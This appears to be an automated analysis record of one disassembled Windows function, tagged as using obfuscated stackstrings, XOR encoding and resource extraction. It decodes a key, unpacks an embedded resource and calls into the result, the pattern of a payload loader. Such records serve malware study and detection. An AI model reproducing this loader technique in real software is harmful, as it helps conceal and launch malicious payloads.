Function at 0x402bc0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push 0xffffffffffffffff
push 0x4514f8
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x469bb0]
xor eax, esp
mov dword [esp + 0xc4], eax
push ebx
push ebp
push edi
mov eax, dword [0x469bb0]
xor eax, esp
push eax
lea eax, [esp + 0xd8]
mov dword fs:[0], eax
mov ecx, esi
mov dword [esp + 0x10], esi
call fcn.0040dc29
mov dword [esp + 0xe0], 0
lea ecx, [esi + 0xec]
mov dword [esi], vtable.CMainFrame.0
call fcn.00411085
lea ecx, [esi + 0x188]
mov byte [esp + 0xe0], 1
call fcn.00412205
mov byte [esp + 0xe0], 2
mov al, 0xe
mov byte [esp + 0xb0], al
mov byte [esp + 0xb3], al
mov al, 0xf3
mov byte [esp + 0xbb], al
mov byte [esp + 0xbe], al
xor eax, eax
mov cl, 0x4c
mov word [esp + 0xc0], ax
mov al, 0x77
mov byte [esp + 0xb5], cl
mov byte [esp + 0xbc], cl
mov cl, 0xc
mov byte [esp + 0xcc], al
mov byte [esp + 0xce], al
mov byte [esp + 0xb1], 0x1c
mov byte [esp + 0xb2], 0x2a
mov byte [esp + 0xb4], 0x53
mov byte [esp + 0xb6], 0x26
mov byte [esp + 0xb7], 0x22
mov byte [esp + 0xb8], 0x14
mov byte [esp + 0xb9], 0x74
mov byte [esp + 0xba], 0x1b
mov byte [esp + 0xbd], 1
mov byte [esp + 0xbf], 0xeb
mov byte [esp + 0xc4], 0x31
mov byte [esp + 0xc5], 0x23
mov byte [esp + 0xc6], 0x68
mov byte [esp + 0xc7], 0x67
mov byte [esp + 0xc8], 0x37
mov byte [esp + 0xc9], cl
mov byte [esp + 0xca], 0x4a
mov byte [esp + 0xcb], 0x4d
mov byte [esp + 0xcd], 0x15
mov byte [esp + 0xcf], 0x96
mov byte [esp + 0xd0], cl
mov byte [esp + 0xd1], 0x72
mov byte [esp + 0xd2], 0x87
mov byte [esp + 0xd3], 0x8f
xor eax, eax
jmp 0x402d50
mov cl, byte [esp + eax + 0xc4]
xor byte [esp + eax + 0xb0], cl
inc eax
cmp eax, 0x10
jl 0x402d50
push 0x45c4c4
mov byte [esp + eax + 0xb4], 0
push 0x84
inc eax
push 0
mov byte [esp + eax + 0xbc], 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x402e34
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402e34
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x402e34
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x402e34
push edi
call fcn.0040358e
add esp, 4
push edi
mov ebp, eax
push ebx
push ebp
call fcn.00442150
add esp, 0xc
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0xb4]
call fcn.004018c0
push ebp
lea eax, [esp + 0x18]
push eax
mov ecx, edi
mov byte [esp + 0xe8], 3
call fcn.00401990
test al, al
je 0x402e16
movsx eax, byte [edi + ebp - 1]
lea ecx, [eax - 1]
cmp ecx, 0xf
ja 0x402e5d
sub edi, eax
cmp edi, 0xffffffff
jne 0x402e71
push ebp
call fcn.00403599
mov byte [esp + 0xe4], 2
mov edx, dword [esp + 0x28]
add esp, 4
push edx
call fcn.00403599
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0xd8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0xc4]
xor ecx, esp
call fcn.0043b25c
add esp, 0xd4
ret
push eax
push str.fill_char_error___d_
lea edx, [esp + 0x30]
call fcn.00401f90
add esp, 8
jmp 0x402e16
push ebp
call fcn.00402980
mov edi, eax
add esp, 4
test edi, edi
jne 0x402e98
push ebp
call fcn.00403599
mov byte [esp + 0xe4], 2
mov eax, dword [esp + 0x28]
add esp, 4
push eax
jmp 0x402e2c
push edi
call fcn.00402860
add esp, 4
test eax, eax
je 0x402ea7
call eax
push edi
call fcn.00402770
add esp, 4
push ebp
call fcn.00403599
add esp, 4
push 1
call fcn.0043bb86
int3